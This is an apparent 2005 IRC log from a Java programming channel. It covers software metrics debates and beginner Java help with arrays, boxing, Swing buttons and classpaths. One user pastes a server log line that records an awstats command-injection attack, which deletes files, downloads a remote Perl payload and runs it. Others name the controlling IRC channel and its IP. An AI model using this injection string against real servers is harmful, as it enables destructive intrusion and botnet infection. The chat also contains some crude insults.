[09:00:53] <pr3d4t0r> slava: Because you're still focused on only one program or component.
[09:00:58] <pr3d4t0r> slava: Testing is part of it.
[09:01:08] <slava> what else is there?
[09:01:20] <pr3d4t0r> slava: Here's an example.  Let's say that you write a piece of code that does X.
[09:01:53] <pr3d4t0r> slava: X updates a database; you or someone else write something that does Y and updates said database.
[09:02:21] <pr3d4t0r> slava: Now, by themselves, X and Y are "working" by some definition.  What happens, though, if you need their combined results?
[09:03:00] <pr3d4t0r> slava: The measuring point is the intersection of X and Y functionality.  That intersection is what might be important to your client/employer/etc.
[09:03:03] <Cow_woC> right, function points are "interface points"
[09:03:08] <slava> if i was writing Y, i'd make sure it works with X.
[09:03:17] <slava> if somebody else was writing Y and did not ensure this, well, that's the problem with working in a team
[09:03:17] <pr3d4t0r> Cow_woC: They're called "application boundaries" :)
[09:03:19] <Cow_woC> if I remember correctly, it's where the customer and deliverable interface
[09:03:27] <Cow_woC> right, same difference :)
[09:03:28] <pr3d4t0r> slava: It's not that simple.
[09:03:49] <pr3d4t0r> slava: X and Y by themselves may be working.  The combination of both, however, may not meet some SLA.
[09:03:59] <pr3d4t0r> slava: Function points will let you discover that.
[09:04:09] <slava> actually, thinking while coding will let you discover that
[09:04:16] <pr3d4t0r> slava: Sticking to our example, let's say that you have a race condition.
[09:04:32] <pr3d4t0r> slava: Dude, you're being a stubborn arse.  The problem may not be in the CODE.
[09:04:39] <Cow_woC> heh
[09:04:43] <slava> pr3d4t0r: if two modules are interacting badly, the problem is in the code
[09:04:48] <slava> pr3d4t0r: even if they work right in isolation
[09:04:52] <Cow_woC> nope
[09:05:00] <pr3d4t0r> slava: The code for each X and Y could be perfect and still you won't have the expected result.
[09:05:00] <Cow_woC> the problem is the specification, which is never 100% defined
[09:05:06] <pr3d4t0r> javabot: Cow_woC++
[09:05:07] <javabot> cow_woc has a karma level of 3, pr3d4t0r
[09:05:10] <pr3d4t0r> javabot: Cow_woC++
[09:05:10] <javabot> cow_woc has a karma level of 4, pr3d4t0r
[09:05:13] <Cow_woC> heh
[09:05:14] <Cow_woC> thanks
[09:05:19] <slava> pr3d4t0r: the code for X is not perfect, because it doesn't take Y into account
[09:05:41] <Cow_woC> slava: X is not necessary defined with the foreknowledge of all possible Ys out there that might use it
[09:05:53] <Cow_woC> slava: could be X was built a year before Y
[09:06:00] <slava> Cow_woC: then you fix X when you develop Y
[09:06:34] <Cow_woC> it isn't clear that X needs to be "fixed"
[09:06:47] <Cow_woC> because, again, the problem is in the lack of specification
[09:06:47] <slava> or Y needs to be fixed
[09:06:50] <slava> or the whole system needs to be scrapped
[09:06:51] <pr3d4t0r> slava: It's not about the code.
[09:06:51] <slava> etc
[09:07:03] <pr3d4t0r> slava: You're sort of getting it now.
[09:07:23] <pr3d4t0r> slava: If you have appropriate measurements you can prevent having to scrap the thing.
[09:07:38] <pr3d4t0r> slava: But in a non-trivial system, coding it is only one part of it.
[09:07:52] <slava> the problem is the non-trivial system, not the development process
[09:08:37] <pr3d4t0r> slava: Yup.
[09:09:27] <pr3d4t0r> slava: You can even put two developers together to crank out a system, both excellent uber mensch, and the system may turn out to be crap because of other factors.
[09:10:03] <pr3d4t0r> slava: So figuring out what to measure, how, which corrective actions to take (and take them in a timely manner), etc. is a Good Thing(tm).
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[09:10:30] <slava> i don't see how any of this helps if its just one guy programming
[09:10:41] <slava> or even 4 guys
[09:10:43] <pr3d4t0r> slava: One guy programming is a trivial system.
[09:10:53] <pr3d4t0r> slava: 4 guys programming is a trivial system.
[09:11:02] <slava> so then any interesting project is a trivial system
[09:11:25] <pr3d4t0r> slava: 4 guys doing requirements gathering, design, coding, testing, QA, piloting, deployment, etc. <-- that's a non-trivial system.
[09:11:42] <slava> coding, testing, QA is the same thing.
[09:11:47] <pr3d4t0r> slava: No, it's not.
[09:11:53] <slava> coders should test.
[09:11:59] <pr3d4t0r> slava: Unit test -- yes.
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[09:12:16] <pr3d4t0r> slava: Integration and validation testing is normally not done (and possibly can't be done) by coders.
[09:12:39] <slava> i test the programs i write.
[09:12:56] <slava> i'm not talking about unit testing, but running the thing and looking for bugs
[09:13:02] <slava> any coder who doesn't do that is a bone head
[09:13:25] <pr3d4t0r> slava: You're insulating yourself from the problem.
[09:13:33] <pr3d4t0r> slava: And you're being stubborn.
[09:13:50] <pr3d4t0r> slava: The problem is not a single coder.  It's the integration of that code with other things.
[09:14:30] <pr3d4t0r> slava: How would you test your code against tax rules across different jurisdictions?
[09:15:01] <slava> i wouldn't do such programming in the first place, its not interesting
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[09:15:15] <Cow_woC> heh
[09:15:34] <pr3d4t0r> slava: I agree.  But solving the problem of how to measure that, and improve its quality is a hell of an interesting problem.
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[09:16:42] <pr3d4t0r> slava: For example, let's say that you have two teams, one coding in Java and one in Slate.
[09:16:48] <pr3d4t0r> slava: Their shit must integrate.
[09:17:28] <slava> define an interface
[09:17:48] <pr3d4t0r> slava: Your function points tell you that the guys who used Slate had 80% fewer bugs, delivered their code ahead of schedule, and had only 15% of the integration bugs reported when compared against the Java guys.
[09:18:15] <pr3d4t0r> slava: The guys looking at that will start thinking "hrm... maybe pursuing this Slate thing might be worth it".
[09:18:50] <pr3d4t0r> slava: Expand your mind a bit.  It's not about code issues.  It's about the metaissues around the code.
[09:20:25] <Cow_woC> pr3d4t0r: I studied this kind of stuff for 4 years in my Software Engineering degree
[09:20:42] <Cow_woC> and you know ... in the end ... I realized I found it all very very boring, except design patterns :P
[09:20:57] <Cow_woC> I think the concept of SOEN is great, but the current state we're in is extremely boring
[09:20:58] <slava> design patterns are boring too
[09:20:58] <pr3d4t0r> slava: With a tool llike this you can tell the fucker who tells you "we'll stick to Java because everyone is doing it and it's working fine" to shut up.  He can't debate the numbers.
[09:21:04] <Cow_woC> slava: heck no
[09:21:21] <Cow_woC> Design Patterns are one of the first glimpse into what SOEN will be in the future
[09:21:28] <slava> what is SOEN and how do i avoid it?
[09:21:29] <pr3d4t0r> Cow_woC: I think it's boring as hell when you're learning it in a classroom setting.
[09:22:18] <Cow_woC> pr3d4t0r: the point behind it is that programming is now seeing reusable components like other engineering domains .. and that is a huge thing
[09:22:25] <pr3d4t0r> Cow_woC: I have 200 developers and about 30 project managers in my lab.  Hands-on validation in real-time.
[09:22:28] <Cow_woC> although design patterns will likely develop very slow
[09:22:30] <Cow_woC> slowly
[09:22:49] <Cow_woC> anyhoot .. one day SOEN won't be so darn boring
[09:23:00] <slava> Cow_woC: part of my work with factor is locating design patterns in the code, and modifying the language so that they can be expressed directly
[09:23:07] <Cow_woC> right now it's 99% papers and buracracy
[09:23:17] <pr3d4t0r> Cow_woC: Yeah.
[09:23:37] <pr3d4t0r> Cow_woC: Another beauty of design patterns is that you push that bureaucracy outside the development organization.
[09:23:51] <Cow_woC> pr3d4t0r: how so?
[09:23:54] <pr3d4t0r> s/design patterns/function points/
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[09:24:01] <Cow_woC> hmm
[09:24:23] <pr3d4t0r> Cow_woC: The measuring entity must be outside the dev organization.
[09:24:43] <pr3d4t0r> Cow_woC: Otherwise you get a bad case of Eisenberg's Principle.
[09:25:55] <Cow_woC> heh
[09:25:58] <Cow_woC> good point
[09:26:01] <slava> i hardly hear any talk of design patterns outside of java.
[09:26:02] <Cow_woC> anyway, I'm off to bed
[09:26:06] <Cow_woC> it is *way* late here
[09:26:17] <Cow_woC> slava: that's because people are too busy with low level crap
[09:26:20] <pr3d4t0r> Cow_woC: I hated SOEN topics in school.
[09:26:25] <Cow_woC> pr3d4t0r: same
[09:26:28] <pr3d4t0r> Cow_woC: I had pretty much slava's attitude.
[09:26:30] <slava> Cow_woC: no, i'm talking about high level language communities.
[09:26:39] <pr3d4t0r> Cow_woC: It's a lot different when you get to apply it in real life.
[09:26:58] <pr3d4t0r> Cow_woC: It's even better when you discover that your teams are doing significantly better than the industry average.
[09:27:00] <slava> pr3d4t0r: i never took a SOEN class in school
[09:27:03] <Cow_woC> pr3d4t0r: a lot of the topics are uber useful/cool, but again we're in the boring stages nowadays. For example, we had a UI design course and it was boring crap but UI design in general is a facinating thing
[09:27:09] <pr3d4t0r> slava: You're not an engineer.
[09:27:11] <Cow_woC> pr3d4t0r: or rather, important thing
[09:27:32] <pr3d4t0r> Cow_woC: Yup.
[09:27:34] <Cow_woC> anyway, cool stuff :)
[09:27:45] <pr3d4t0r> Cow_woC: But then all of that starts clicking when you apply it in real situations.
[09:27:56] <Cow_woC> agreed
[09:28:03] <Cow_woC> anyway, good Zzzzzs everyone
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[09:28:09] <pr3d4t0r> Cow_woC: Cheers.  Sleep well.
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[09:30:34] <pr3d4t0r> slava: In fact, now that I think about it, how you do things makes perfect sense for what you're doing.
[09:30:44] <pr3d4t0r> slava: You don't have to deal with SLAs.
[09:30:55] <pr3d4t0r> slava: You don't have to deal with real world concerns.
[09:31:05] <pr3d4t0r> slava: You don't have to deal with legacy stuff for the most part.
[09:31:25] <slava> pr3d4t0r: that's insulting, because obviously i've done paying work in the past, and doing paying work right now
[09:31:37] <pr3d4t0r> slava: I'm talking about the Factor examples.
[09:31:47] <slava> i find working on factor much more enjoyable than paying work.
[09:32:13] <pr3d4t0r> slava: And even for Jonathan's stuff you're working in an ideal situation because you don't have to worry about interfacing with the real world.  That's Jonathan's problem.
[09:32:31] <slava> pr3d4t0r: i did a project two years ago using Hibernate and Swing.
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[09:32:40] <pr3d4t0r> slava: Don't feel insulted, by the way.  That confirms everything wwe were talking about.
[09:32:44] <slava> pr3d4t0r: i'm never doing that type of work again.
[09:32:56] <pr3d4t0r> slava: I've never even touched it.  Sounds scary.
[09:33:08] <pr3d4t0r> slava: Well, I'm doing Swing these days, so I can live with that :)
[09:33:43] <pr3d4t0r> slava: But yeah, Hibernate scares me.
[09:34:02] * cybereal is on a project using hibernate and swing right now
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[09:34:14] <cybereal> It's not so bad really
[09:34:30] <cybereal> Considering prior to that I was doing VB and other podunk web stuff.
[09:34:47] <pr3d4t0r> cybereal: He, he, he...
[09:34:54] <pr3d4t0r> Well, it's 0034 here.
[09:35:09] <pr3d4t0r> It's time for "Desperate Housewives" s01e02.
[09:36:25] <cybereal> I'm thoroughly amused that you actually want to watch that
[09:36:33] <pr3d4t0r> cybereal: I find it fascinating.
[09:36:55] <cybereal> pr3d4t0r: I think it would be better without the beginning narration... but then, that would require watching all episodes...
[09:37:01] <pr3d4t0r> cybereal: I don't have a television.  Once in a while I run into a show like this and watch all the episodes in a row until I get fed up with it.
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[09:37:25] <cybereal> pr3d4t0r: yeah I sorta prefer watching tv that way myself... only tv I actually try to watch is adult swim from time to time
[09:37:29] <pr3d4t0r> cybereal: I lasted two seasons and one episode of "Six Feet Under".
[09:37:51] <pr3d4t0r> cybereal: That one jumped the shark around 80% into season 2.
[09:38:02] <pr3d4t0r> cybereal: "The Shield" is way cool.
[09:38:12] <pr3d4t0r> cybereal: I'm about to get season 3 one of these days.
[09:38:25] <cybereal> Hm, I saw some episodes of The Shield... I can't take all the shaky cam
[09:38:34] <cybereal> the camera work is so cheesy... if not for that, maybe the story would be cool
[09:38:38] <cybereal> the acting isn't too bad
[09:38:51] <pr3d4t0r> cybereal: It's shot as a documentary.  I kinda dig it.
[09:39:08] <pr3d4t0r> cybereal: For stylish shooting (and a hot chix0r), "Alias".  I only watched one season.
[09:39:18] <cybereal> pr3d4t0r: it's interesting for a bit, I just get motion sickness easily.  It's not enough to make me sick but it is enough to give me a headache.
[09:39:31] <pr3d4t0r> cybereal: But the wives are cool.  I suspect that one of them is pure, pure evil.  That turns me on.
[09:39:36] <cybereal> haha
[09:39:51] <cybereal> yeah there is lots of plot twisting in that one
[09:40:09] <pr3d4t0r> cybereal: I was telling someone in the real world today about a chick I know who was in prison.  For murdering her ex-boy friend.
[09:40:18] <cybereal> yark
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[09:40:42] <pr3d4t0r> cybereal: He was nodding in a funny way, then I pulled the OTIS system and showed him her mug and data.
[09:40:46] <slava> pr3d4t0r: hehehe... i fixed a funny bug in jonathan's code.
[09:40:54] <pr3d4t0r> slava: :)
[09:40:59] <pr3d4t0r> slava: I've been there, done that.
[09:41:04] <slava> pr3d4t0r: he had an int, with the length of an array, and he was doing: while(index-- > 0) doStuff(array[index]);
[09:41:10] <pr3d4t0r> slava: His code isn't so bad in general, actually.
[09:41:15] <slava> pr3d4t0r: no, its very good
[09:41:37] <pr3d4t0r> slava: He learned a few things from me.  I was relentless about some things that he coded.
[09:41:37] <slava> pr3d4t0r: i was able to jump in and get up to speed very quickly, and i knew almost no objective C, and zero cocoa.
[09:41:47] <pr3d4t0r> slava: You're welcome.
[09:41:59] <pr3d4t0r> slava: Ask Jonathan about MOOD one of these days.
[09:42:05] <pr3d4t0r> slava: He'll tell you some nice war stories.
[09:42:41] <tvn> who's Johnathan ?
[09:42:56] <slava> pr3d4t0r's boyfriend
[09:43:03] <pr3d4t0r> tvn: A guy who used to work for me, then started a software company and slava works with him.
[09:43:21] <pr3d4t0r> slava: He's sending *you* the cool new computers and extra memory.
[09:43:25] <pr3d4t0r> slava: You're his bitch!
[09:43:29] <slava> yup :)
[09:43:34] <tvn> haha ... what a relationship
[09:43:54] <pr3d4t0r> slava: Are you familiar with ZZ Top?
[09:44:00] <slava> no what is it
[09:44:06] <pr3d4t0r> slava: It's a band.  Hold on.
[09:44:17] <cybereal> slava: off the top of your head, do you know if that PxP project you pointed me at will validate a given xml document part (i.e. a node) against some DTD that applies to it?
[09:44:28] <cybereal> pr3d4t0r: love their beards
[09:44:38] <slava> cybereal: no idea.
[09:44:44] * cybereal digs out the url
[09:44:51] <pr3d4t0r> slava: http://www.edshawentertainment.com/artists3/elloco/images/168959-R1-27.jpg -- Jonathan looks like the guy on the right.
[09:44:55] <slava> cybereal: this type of stuff is easy in ocaml though. you'll find the pattern matching feature is great for working with trees.
[09:45:25] <cybereal> slava: yeah, I can already see that
[09:45:39] <pr3d4t0r> slava: He'd trimmed his beard the last time I saw him.  It only fell down to the top of his belly.
[09:46:17] <cybereal> slava: I have this server we made that is central to an xml based messaging system called SIF (Schools Interoperability Framework) and my goal with ocaml is to reimplement it better in ocaml.  In full compliance mode it is required to validate every message.
[09:46:22] <slava> pr3d4t0r: bizarre.
[09:46:53] <slava> cybereal: learn about algebraic data types and pattern matching, and write your validator :)
[09:47:05] <pr3d4t0r> OKi, good night.
[09:47:24] * pr3d4t0r goes to bed with the computer -- thinking that Olga won't like the wives in bed at the same time.
[09:47:41] <cybereal> Hehe
[09:48:35] <omay> why i cannot cast int[] to Object[] ?
[09:48:40] <cybereal> slava: I am also seeding a drive to learn new things with this project so maybe I will... I've already put Set Theory on my plate so I think I have plenty of stuff to kill time with :)
[09:48:48] <cybereal> omay: int is primitive
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[09:50:21] <omay> then how i must cast it ?
[09:51:05] <cybereal> I don't know if you can cast int[] to Integer[] but one way or another you'll probably want to turn those ints into Integers... though you might be going about it the wrong way since I don't  event know what you're trying to do
[09:51:28] <omay> let me explain what i want
[09:52:25] <omay> i have a constructor public PGArray(Object p_array) {...} , if i call it, i don't know what of the type the array is , then inside i find it out, know i have the classType
[09:53:07] <omay> now i want to call this method: private <componentType> void  hf(componentType[] p_array) { where the componentType is the found Class, so in this case it's "int"
[09:53:52] <omay> some in this method then i want call hf((componentType[])p_array[i])
[09:53:54] <cybereal> hm, so your problem is that your design won't work with arrays of primitive types
[09:54:02] <slava> omay: use reflection
[09:54:17] <omay> ??reflection
[09:55:06] <omay> one more thing yet: if i call hf((componentType[])p_array[i]) and p_array is an int[] then i get a classCastException
[09:55:35] <omay> but my componentType is "int" so i don't understand here something
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[09:57:29] <omay> what is reflection?
[09:57:49] <cybereal> omay: indirectly discovering things about an object, and calling methods or reading fields on it
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[09:58:25] <Bevin> hi
[09:58:52] <omay> cybereal: if i call this function i allready know that p_array[i] is an array
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[09:59:41] <omay> but without the cast the compiler don't want it and say: Object found but Object[] needed or something that
[09:59:42] <cybereal> omay: you need a new design, something more javaesque if you will... all this array nonsense :P
[09:59:50] <cybereal> yeah
[09:59:56] <cybereal> because an array isn't an Object
[10:00:10] <cybereal> you want Object[] p_array
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[10:02:11] <omay> look at the declaration: private <componentType> void  hf(componentType[] p_array)
[10:02:17] <omay> p_array is declared as array
[10:02:33] <omay> my problem is: p_array[i] is an array too
[10:02:39] <cybereal> Why is <componentType> in brackets, is that some kind of wierd generics notation?
[10:03:22] <omay> because at first i found the componentType out at first
[10:03:45] <omay> public PGArray(Object[] p_array) {
[10:03:50] <omay> findOutTheBaseClassType(p_array);
[10:03:58] <omay> hf(p_array);
[10:04:07] <cybereal> omay: oh you're confusing me because that <blah> notation is part of java
[10:04:39] <cybereal> Wtf are you trying to do with this array anyway?  Don't you know what kind of data will come in?
[10:04:56] <omay> cybereal: yes i don't know
[10:06:22] <omay> after the findOutTheBaseClassType(p_array); i know it
[10:06:39] <cybereal> omay: to pass an array of ints you have to make it into an array of Integer
[10:06:54] <cybereal> omay: you can't pass an array of any primitive as Object[]
[10:07:42] <omay> ok, one second :)
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[10:11:13] <omay> hm, simple to set componentType to Integer.class didn't help
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[10:12:15] <omay> :-(
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[10:15:13] <cozby> hey, i'm havin' a lil issue. I have a Vector<Integer> available = new Vector<Integer>(); and im trying to convert it to a array. I'm doing this by int [] array = new int [available.size], then available.toArray(array)
[10:16:05] <cozby> that should work... but its not, if change the array type to String, it'll work fine, other wise i get a error
[10:16:14] <cozby> any ideas why?
[10:17:56] <cozby> damn, im guessing everyone is sleepin'
[10:18:16] * cozby looks around
[10:18:34] <grifis> how can i 'concat' int like 1concat1 = 11 instead of sum?
[10:19:01] <cozby> grifis , why they gotta be int?
[10:19:12] <cozby> make'em strings, then turn'em into int...?
[10:20:26] <grifis> i think that is possible to turn char to int, not viceversa
[10:20:42] <cozby> you can turn char into tin
[10:20:47] <cozby> er into int
[10:21:31] <cozby> er i mean int into char
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[10:22:11] <grifis> ok,i'll try
[10:22:22] <cybereal> cozby: Integer is not int
[10:22:47] <cozby> cybereal , really....
[10:22:48] <cybereal> grifis: String.valueOf(1) + String.valueOf(1);
[10:23:19] <cozby> whats the diff?
[10:23:25] <cybereal> cozby: int is primitive, Integer is an object
[10:23:31] <cybereal> you can make an integer out of an int
[10:23:39] <cybereal> and you can get the int value of an Integer
[10:23:45] <cybereal> but you can't use one type in place of another
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[10:24:22] <cozby> cybereal , oh.. cool, thx =P
[10:24:32] <grifis> String.valueOf(new Integer(1)) + String.valueOf(new Integer(2)) ?
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[10:25:13] <cybereal> grifis: no, there is a valueOf method that takes int
[10:25:20] <cybereal> grifis: no need to convert to Integer
[10:25:20] <grifis> ah ok
[10:26:07] <grifis> thx
[10:26:55] <omay> i despair :(
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[10:28:20] <cozby> hmm so if im looping through a vector to see what numbers are used between x and y and storing them in another vectory of type Integer, is that ok?
[10:28:32] <cybereal> yeah
[10:29:42] <cozby> so its ok to store 'int' inside Integer vector.
[10:30:09] <cybereal> no, you keep it as Integer
[10:30:41] <cybereal> Simplify things by making x and y Integers to, or do myInteger.intValue() in comparisons
[10:30:42] <cozby> hrm so I should declare my I itterator as Integer
[10:31:17] <cybereal> That would reduce the casting you'd have to do
[10:31:25] <Budward> What is the difference between a vector and an array list?
[10:31:54] <cybereal> Budward: one is part of the collections framework... most functional difference is that Vectors are synchronized on all operations, ArrayList isn't
[10:32:14] <cybereal> but more importantly, ArrayList is a Collection derivative
[10:32:19] <Budward> hmm thanks.
[10:32:20] * cybereal goes back to playing video games
[10:32:25] <cozby> thx cybereal
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[10:35:39] <tsume> pr3d4t0r: oh god damn you're an idiot
[10:35:49] <tsume> Stoerte is a good fellow
[10:35:57] <tsume> what a wanker..
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[10:36:21] * cybereal blinks
[10:45:45] <cozby> cybereal , what if i want to return an int array?
[10:46:07] <cozby> then my arrays vector could no longer be Integer and it cant be int
[10:46:14] <cozby> i'd have to make it an ArrayList?
[10:46:35] <cybereal> cozby: make the array manually if you must have it
[10:46:42] <cybereal> ArrayList wouldnt' work any better
[10:47:44] <cozby> hmm ok i'll just keep it simple
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[11:09:33] <ke|z> hi
[11:10:56] <ke|z> is it possible to put a normal icon on a disabled JButton (when JButton is disabled, icon is grey ...)
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[11:18:43] <Clackwell> ke|z: can you put a non normal icon on it?
[11:18:51] <Clackwell> hallo everyone
[11:18:58] <ke|z> hi Clackwell
[11:19:06] <ke|z> what is a non-normal icon ?
[11:19:28] <Clackwell> ke|z: you implied that non normal and normal icons exist, didn't you?
[11:19:43] <ke|z> hem ... yes :D
[11:19:48] <Clackwell> :)
[11:19:56] <ke|z> but i'm as bad in java than in english ...
[11:20:04] <ke|z> s/than/as/
[11:20:10] <ke|z> you see ...
[11:20:34] <Clackwell> ke|z: can one disable a jbutton that has an icon instead of a text label? yes, i would think so.
[11:21:28] <ke|z> no, i wanted to say : is it possible don't not have the greyed icon when the JButton is disable
[11:22:18] <Clackwell> ke|z: you want to avoid the normal mechanism and user feedback of a greyed out button when it is disabled?
[11:22:55] <ke|z> yes, i only want to pass throught the grey(ing?) action
[11:24:20] <ke|z> the button should be clicked but not greyed ...
[11:24:33] <Clackwell> ke|z: what is your excuse for wanting that? do you want to confuse the users of your application? you could create your own button class and give it a setDoNothing(boolean) method. it would have a boolean instance variable which determines wether it does something, or not, while being enabled (in the swing sense).
[11:25:18] <ke|z> ok ...
[11:25:38] <ke|z> but it's not to confuse users, you remember my un mining game?
[11:25:43] <Clackwell> ke|z: what is your excuse for wanting that? do you want to confuse the users of your application?
[11:25:50] <ke|z> <keyz> http://bordel.homeip.net/Demineur/
[11:25:57] <Clackwell> ke|z: ah, i see
[11:26:16] <ke|z> the number in the button near the bomb is not really readable
[11:27:34] <ke|z> is the icon is not greyed, this number is in black and really clear
[11:27:56] <ke|z> but if not disable, user can click on it ...
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[11:28:19] <cybereal> ke|z: can't you control the disable mask for the icon?
[11:28:58] <ke|z> possible, this should be the question i wanted to as first
[11:29:08] <ke|z> s/as/ask/
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[11:30:21] <Clackwell> adding a new state, overriding paint() to always do the same, changing the "disable mask", three possibilities so far?
[11:31:30] <Clackwell> afraid of doing something wrong in the painting department, not feeling like digging in more internals affairs of jbuttons, i would go for the extra state, i think.
[11:31:43] <quietdisaster> what's the harm if you let them click it?
[11:31:56] <quietdisaster> after it's a shown to be a number, not a bomb
[11:32:01] <quietdisaster> it doesn't matter if they can click it or not
[11:32:02] <quietdisaster> right?
[11:32:10] <quietdisaster> it just wouldn't do anything at that point
[11:32:25] <ke|z> yes but user should be not able to click ...
[11:32:34] <quietdisaster> but i can sit here and 'click' on it
[11:32:42] <quietdisaster> it just doesn't do anything
[11:32:45] <ke|z> i'll try to see how to put another state to my jbutton
[11:33:30] <ke|z> quietdisaster, sure, but there ust have a difference of a non-clicked button and an empty case
[11:33:33] <Clackwell> ke|z: that other state approach has the side effect of keeping the button "clickable".
[11:34:24] <ke|z> ok, i'll search now i got the vocabulary =)
[11:34:28] <ke|z> thx
[11:34:32] <Clackwell> that may or may not be what you want. i assumed that your icon will make it clear where pressing a button/field makes sense, to the user.
[11:34:47] <Clackwell> bbl
[11:35:02] <ke|z> bubble blue?
[11:35:12] <ke|z> good weed :D
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[12:02:56] <ke|z> ok best solution is to keep enabled ...
[12:03:04] <ke|z> only change color
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[12:25:00] <ke|z> 203.114.64.241 - - [15/Oct/2005:12:06:39 +0200] "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;wget%20http://203.204.230.205/.it/mo;perl%20mo;echo%20;rm%20-rf%20mo*;echo| HTTP/1.1
[12:25:03] <ke|z> wtf??
[12:25:17] <ke|z> rm -rf ... fuck you
[12:25:27] <ke|z> (sorry for the others)
[12:27:12] <cybereal> interesting, a perl targetted worm
[12:27:18] <cybereal> I wonder what's in it..
[12:27:20] <cybereal> I will find out
[12:27:51] <Mazon> irc bot
[12:27:56] <Mazon> nasty
[12:28:39] <Mazon> but why live in /tmp ? - could get nuked quite quickly then?
[12:28:48] <Mazon> prob write access issues
[12:29:39] <Mazon> #OkEmuL on 202.147.240.135
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[12:34:06] <cybereal> wrong button
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[12:34:22] <MrEntropy> yo
[12:34:38] <MrEntropy> how can i add a component to a jframe and make it show while it's visible?
[12:35:17] <Clackwell> add it, tell jframe to invalidate, revalidate, repaint, done?
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[12:36:22] <MrEntropy> ok, i'll check those out, thanks
[12:37:14] <Clackwell> :)
[12:40:04] <cybereal> wow according to this: http://matzon.dk/external/stats/java.html I'm pretty active in here
[12:41:12] <cybereal> now I must sleep
[12:42:04] * Mazon joins the irc channel as scam bot name :)
[12:42:09] <Mazon> lets see what happens :)
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[12:46:02] <Mazon> "youre no bot, come on, talk "
[12:46:06] <Mazon> lol
[12:46:09] <Mazon> they're on to me!
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[13:05:47] <[algo]> What should I use to create XML with Java ?
[13:05:56] <[algo]> which api is good ? :)
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[13:06:15] <delvinj> algo: dom4j
[13:06:37] <[algo]> thanks
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[13:28:39] <Storkme> could some please explain to me how java's default packages work?
[13:28:58] <Storkme> is there a folder called java/util ?
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[13:42:33] <Storkme> anyone :\ ?
[13:43:15] <fforw> Storkme: the default package contains classes without a package
[13:43:32] <Storkme> sorry, what?
[13:44:43] <fforw> Storkme: packages are an abstraction over the usual folders. you specifiy a classpath for your java application which contains all places into your file system java can load classes from.
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[13:45:43] <Storkme> i see, i think
[13:46:04] <Storkme> so does that mean java.something is in %classpath%\java\something ?
[13:46:54] <fforw> the java.*, javax.* classes come with your java runtime environment. you are not supposed to care about where they are. they are just there
[13:47:01] <Storkme> oh, okay
[13:47:11] <Storkme> is it possible to make my own system-wide imports then?
[13:47:51] <omay> hi i'm again here, maybe can somebody help me? i despair
[13:48:13] <Storkme> what do you need help with
[13:48:31] <mheath> omay: don't ask you ask, just ask? :)
[13:48:35] <omay> i have a methode with an algo wich  warks for alle types, so i need something like polymorphism
[13:48:47] <fforw> Storkme: you start a java application with a class path.. (something like "java -classpath c:\myclasses;c:\otherclasses")
[13:49:10] <Storkme> i see :\
[13:49:17] <fforw> Storkme: that class path defines all possible location of classes. inside these paths there are packages defined
[13:49:20] <omay> my problem is, if i call the class, it gets an unknown type
[13:49:42] <omay> so the constructor is MyClass(Object myArray)
[13:49:49] <fforw> Storkme: so if you have a class physically on c:\myclasses\test\Test.class
[13:49:54] <Storkme> would it be possible to include that classpath automatically, eg, without specifying -classpath on the commandline :
[13:50:25] <fforw> Storkme: you need to start the java app with c:\myclasses in it's class path and would import the example class by specifying "import test.Test;"
[13:50:40] <omay> the array can be of all possible type and with  any dimension, so e.g. it's possible int[][] and String[][][] and so on.
[13:51:06] <Storkme> i see, okay
[13:51:23] <Storkme> but would it be possible to include that classpath automatically, eg, without specifying -classpath on the commandline :
[13:51:46] <omay> so the question is, how i do it, specifically my problem are types like int[] because i can't cast it to Object[]
[13:51:54] <fforw> Storkme: no.. you need to import each class you want to use except those in java.lang explicitly
[13:51:55] <mheath> omay: basically, you want your method to be able to process data of many different primative types, right?
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[13:52:16] <omay> mheath: primitve and not primitive to, it's the same algo
[13:52:18] <Storkme> that's a shame
[13:52:19] <mheath> omay: the only way I can think of, for primitive types, would be method overloading.
[13:52:31] <mheath> Make one for "Object", and make one for int, double, boolean, etc.
[13:52:51] <fforw> Storkme: that is done on purpose to make it really obvious what is used and where it is.
[13:52:55] <omay> mheath: it would mean i must make x constuctors with same algo in each constructor
[13:52:56] <mheath> int[] will catch int, int[], int[][], etc. So you should only need one of each type
[13:52:57] <Storkme> fair enough
[13:53:04] <mheath> omay: not necessarily
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[13:53:09] <Storkme> thank's for your help
[13:53:25] <mheath> omay: you might just make an overloaded stub that converts the data to a format you can better use
[13:53:36] <mheath> *method stub
[13:53:57] <omay> how can i convert a int[] array to Integer[] ?
[13:54:40] <omay> and as i said it could be int[][]....
[13:55:15] <fforw> omay: create a new Integer[] array or Integer[][] and create a new Integer object for every int and put it into the new array
[13:56:00] <omay> fforw: it would be then very slow
[13:56:07] <mheath> fforw: no, I think he means it could be a dimension range from int[], int[][] .......... int([] * infinity)
[13:56:26] <omay> mheath: yes
[13:56:53] <mheath> (the term 'infinity' being used for simplicity, don't argue with me over java's limitations)
[13:57:09] <mheath> omay: what does this algorithm *do*?
[13:57:28] <fforw> mheath: doesn't change the general approach.. no converting possible, create new array(s) and create new Integer objects for ints
[13:57:45] <omay> it converts the array in a special String format for the postgresql database
[13:58:06] <mheath> omay: OK, then......
[13:58:23] <fforw> omay: if you need to put multi-dimensional data into a single database field you're most likely doing something wrong
[13:58:25] <mheath> Overload a method with type-specific variables
[13:58:35] <mheath> Have those methods parse the incoming primitive data types
[13:58:45] <mheath> And generate your string based on them
[13:58:46] <omay> fforw: no
[13:59:04] * mheath leaves
[13:59:29] <omay> mheath: yes an it means i write X equi constructor withsame algo in it
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[14:00:01] <omay> and have duplicate code x times
[14:00:17] <omay> what i don't want ;)
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[14:05:27] <omay> so that's why i despair :(
[14:06:03] <fforw> omay: have you tried solving your problem reflectively?
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[14:07:18] <omay> fforw: what do you mean? i don't know what reflaction is
[14:07:42] <fforw> omay: take a look at the javadoc of java.lang.reflect.Array
[14:08:37] <omay> fforw: are ok now i know what do you mean
[14:09:31] <omay> and yes, a i have something with myArr.getClass.getComponentType... cause i must find the baseType out in any case
[14:09:59] <omay> so i know of which type my array is...
[14:10:16] <omay> what i don't know is how to use this information ^^
[14:14:54] <omay> it would be helpfull if i could do things liks private void myMethod ( myType[] myArray)
[14:15:31] <omay> where myType is not my class but the value i found out...
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[14:19:27] <omay> the next question is, how i can say array of int with any dimension where i don't know if it is int[] or int[][][]....
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[14:19:34] <R3d> hi
[14:19:52] <R3d> what shall I use if I need to store number bigger than long?
[14:21:00] <fforw> R3d: use java.math.BigInteger
[14:21:00] <omay> number?
[14:21:52] <R3d> 100!
[14:21:53] <R3d>  :)
[14:22:25] <fforw> factorial 100 ?
[14:22:37] <R3d> yes
